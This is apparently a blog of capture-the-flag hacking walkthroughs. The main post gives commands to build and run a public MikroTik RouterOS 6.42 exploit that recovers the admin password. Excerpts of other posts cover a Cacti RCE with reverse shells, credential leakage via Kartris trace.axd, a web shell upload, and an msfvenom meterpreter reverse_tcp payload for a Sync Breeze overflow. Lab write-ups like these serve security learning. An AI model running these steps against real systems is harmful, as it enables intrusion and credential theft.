Hacking Walkthrough: MicroTik RouterOS - MikroTik 6.42

Exploit : https://www.exploit-db.com/exploits/45578

Goal: all you need to get is the password from this exploit, the username is 'admin'

Do the following:

  • git clone https://github.com/tenable/routeros 
  • cd routeros/poc/bytheway/
  • mkdir build
  • cd build
  • cmake ..
  • make
  • ./btw -i target-ip
  • You will get a the password from the exploit password.
  • Connect to the target using ftp/telnet/ssh 
  • Pwn the device
 
 
 Happy hacking
 

 

Comments

Post a Comment

Popular posts from this blog

Hacking walkthrough: Cacti 1.2.8 exploit Ubuntu 18.04.3 LTS [RCE] [PE]

 This is a CTF (hacking lab) I tried . Its interesting and there are many ways to solve it or even to customize this CTF box. I dont know if you have seen it somewhere, I haven't so I had to do some researching. Im sure if there are/will-be similar others,they (will) share something in common which is  Cacti 1.2.8.   Web application:  Cacti 1.2.8 Server: Linux 4.15.0-88-generic Ubuntu 18.04.3 LTS Vulnerability:  CVE-2020-8813 Exploits:   48144 & 48145 . Use the one that fits the box situation which is normally in case of CTFs  48145 (Unauthenticated exploit) Vulnerability and Exploits documentation: https://shells.systems/cacti-v1-2-8-authenticated-remote-code-execution-cve-2020-8813/     First of all, in this box I had to change the payload, because netcat didn't work, so I had to do some experimenting with other reverse shells with no luck . So i thought to test the connecti...
Read more

Hacking walkthrough: Kartris - trace.axd - Ubiquiti UniFi Video - Apache Tomcat/Coyote 1.1 - Windows 10

Port 80: Microsoft-IIS/10.0 Port 7080:  Apache Tomcat/Coyote  1.1 +Ubiquiti UniFi Video Web Application: Kartris Software: Ubiquiti UniFi Video Operating system:  Microsoft Windows 10 Build 16299 Vulnerability: CVE-2016-6914 [LPE] Exploit: https://www.exploit-db.com/exploits/43390   Getting inside Kartris Go to http://ip-address/trace.axd , find Admin/Default.aspx , click view details. Under " Form Collectio n", you will see login credentials. Go to http://ip-address/Admin/Default.aspx?page=_Default.aspx . Enter the credentials.  Go to http://ip-address/Admin/_GeneralFiles.aspx . Click " Add" button " , you will get an upload box.   Getting inside Windows [Initial Shell] Get an aspx web shell ( cmdasp.aspx ) from /usr/share/webshells/aspx/cmdasp.aspx . Upload it to Kartris.  Go to http://ip-address/uploads/General/cmdasp.aspx . Now you have a shell and can play around in windows 10. Type " whoami " " systeminfo " ..etc Privilege E...
Read more

Hacking Wakthrough: Sync Breeze Enterprise v8.9.24

Software : Sync Breeze Enterprise v8.9.24 Exploit : https://www.exploit-db.com/exploits/40456 Operating system :  Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1) Follow these Steps: Download 40456.py Run the command : m sfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=your-ip LPORT=4444 -e x86/shikata_ga_nai -b '\x00\x0a\x0d\x26' -f python --smallest A payload will be generated (my payload size is 310) Copy the payload and replace the payload that's in the python script.Payload starts at line 28 with : buf = "" If your payload has buf = b"" buf += b"\xd9\xed\xd9\x74\x24\xf4\xbb\x9c\x69\xcd\x48\x5d\x29" ! remove the letter "b" and make it look just like the exploit Go to this line: "\x41" * 12292 #subtract/add for payload The script payload is 308 ( #payload size 308 ) so mine is 2 bytes more.  If your payload is 2 or more subtract 2 from 12292 ( 12292 - ...
Read more